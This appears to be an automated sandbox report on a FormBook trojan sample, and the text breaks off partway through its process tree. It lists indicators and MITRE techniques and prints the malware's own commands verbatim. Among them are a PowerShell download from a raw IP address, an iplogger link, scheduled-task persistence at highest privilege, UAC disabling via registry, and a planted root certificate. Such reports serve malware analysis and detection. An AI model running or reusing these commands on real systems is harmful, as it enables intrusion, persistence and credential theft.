Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	svhoost.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4312	PING.EXE

Suspicious behavior: EnumeratesProcesses 40 IoCs

pid	Process
748	chrome.exe
748	chrome.exe
5504	powershell.exe
5504	powershell.exe
5504	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
748	chrome.exe
748	chrome.exe
5292	msedge.exe
5292	msedge.exe
5836	msedge.exe
5836	msedge.exe
1792	CasPol.exe
1792	CasPol.exe
5180	ld.exe
5180	ld.exe
5204	powershell.exe
5204	powershell.exe
5204	powershell.exe
6152	RegAsm.exe
6152	RegAsm.exe
1076	RegAsm.exe
1076	RegAsm.exe
3092	powershell.exe
3092	powershell.exe
3092	powershell.exe
7060	random.exe
7060	random.exe
9156	lenin.exe
9156	lenin.exe
5648	axplont.exe
5648	axplont.exe
4636	n5iRSINSSBZXYf0VMxnR1Gr6.exe
4636	n5iRSINSSBZXYf0VMxnR1Gr6.exe
8924	RegAsm.exe
8924	RegAsm.exe
4636	n5iRSINSSBZXYf0VMxnR1Gr6.exe
4636	n5iRSINSSBZXYf0VMxnR1Gr6.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4504	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs

pid	Process
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
5180	ld.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeDebugPrivilege	336	New Text Document.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeDebugPrivilege	4564	volumeinfo.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe
Token: SeShutdownPrivilege	748	chrome.exe
Token: SeCreatePagefilePrivilege	748	chrome.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
5908	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
5908	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
5908	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
748	chrome.exe
5908	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
5908	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
5908	360TS_Setup_Mini_WW.Peter.CPI202405_6.6.0.1060.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
5836	msedge.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe
6908	go.exe

Suspicious use of SetWindowsHookEx 29 IoCs

pid	Process
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
1792	CasPol.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe
4504	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 748 wrote to memory of 1620	748	chrome.exe	102
PID 748 wrote to memory of 1620	748	chrome.exe	102
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 1096	748	chrome.exe	103
PID 748 wrote to memory of 4408	748	chrome.exe	104
PID 748 wrote to memory of 4408	748	chrome.exe	104
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105
PID 748 wrote to memory of 2720	748	chrome.exe	105

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\shutdownwithoutlogon = "0"	ld.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	WeQEAW3kaoXuMbb80vOzIlmY.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	New.exe

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2539840389-1261165778-1087677076-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegAsm.exe

C:\Windows\Explorer.exe
C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\Trojan;MSIL.FormBook.AFO!MTB.zip
1⤵
PID:2176

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:3560

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:748
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=110.0.5481.104 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff9ff97ab58,0x7ff9ff97ab68,0x7ff9ff97ab78
  2⤵
  PID:1620
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1740 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:2
  2⤵
  PID:1096
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2196 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:4408
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=2260 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:2720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --first-renderer-process --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --mojo-platform-channel-handle=3104 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:1
  2⤵
  PID:1020
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --mojo-platform-channel-handle=3112 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:1
  2⤵
  PID:4636
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --mojo-platform-channel-handle=4348 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:1
  2⤵
  PID:4560
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4456 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:4032
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4340 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:3604
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4768 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:4796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4464 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:3552
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5016 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:4596
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=4816 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:4216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4880 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  PID:3260
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --mojo-platform-channel-handle=4968 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:1
  2⤵
  PID:3472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --mojo-platform-channel-handle=3272 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:1
  2⤵
  PID:3720
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4636 --field-trial-handle=1940,i,12970112912691648928,10866989188800775912,131072 /prefetch:8
  2⤵
  - Enumerates connected drives
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  PID:4504
- - C:\Users\Admin\Desktop\New Text Document.exe
    "C:\Users\Admin\Desktop\New Text Document.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:336
  - - C:\Users\Admin\Desktop\a\volumeinfo.exe
      "C:\Users\Admin\Desktop\a\volumeinfo.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Suspicious use of AdjustPrivilegeToken
      PID:4564
    - - C:\Users\Admin\Desktop\a\volumeinfo.exe
        
        "C:\Users\Admin\Desktop\a\volumeinfo.exe"
        5⤵
        Executes dropped EXE
        
        PID:640
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 640 -s 312
        6⤵
        Program crash
        
        PID:6108
  - - C:\Users\Admin\Desktop\a\Zinker.exe
      "C:\Users\Admin\Desktop\a\Zinker.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      PID:632
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        
        PID:6068
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        Checks computer location settings
        Drops startup file
        Accesses Microsoft Outlook profiles
        Adds Run key to start application
        Drops file in System32 directory
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        outlook_office_path
        outlook_win_path
        
        PID:1076
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH2663\MPGPH2663.exe" /tn "MPGPH2663 HR" /sc HOURLY /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:6128
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\ProgramData\MPGPH2663\MPGPH2663.exe" /tn "MPGPH2663 LG" /sc ONLOGON /rl HIGHEST
        6⤵
        Creates scheduled task(s)
        
        PID:4856
      - C:\Users\Admin\AppData\Local\Temp\spanaY6dQFnxKCva\Nccj2wTDtt7ya4Fn9vLo.exe
        
        "C:\Users\Admin\AppData\Local\Temp\spanaY6dQFnxKCva\Nccj2wTDtt7ya4Fn9vLo.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        
        PID:6936
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        7⤵
        Suspicious use of SetThreadContext
        
        PID:5284
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        8⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:8924
  - - C:\Users\Admin\Desktop\a\smartsoftsignew.exe
      "C:\Users\Admin\Desktop\a\smartsoftsignew.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:6132
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /C cd "C:\Users\Admin\AppData\Local\Temp\putty" & "Smartscreen.bat"
        5⤵
        
        PID:5204
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "(New-Object Net.WebClient).DownloadFile('http://94.103.188.126/jerry/putty.zip', 'C:\Users\Admin\AppData\Local\Temp\putty.zip')"
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5504
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://iplogger.com/26uSj6
        6⤵
        Enumerates system info in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:5836
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x120,0x124,0x128,0x40,0x12c,0x7ff9fa3946f8,0x7ff9fa394708,0x7ff9fa394718
        7⤵
        
        PID:6068
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2004,951587722000744012,4845294282639400363,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2032 /prefetch:2
        7⤵
        
        PID:6052
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2004,951587722000744012,4845294282639400363,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2244 /prefetch:3
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5292
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2004,951587722000744012,4845294282639400363,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2824 /prefetch:8
        7⤵
        
        PID:5832
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
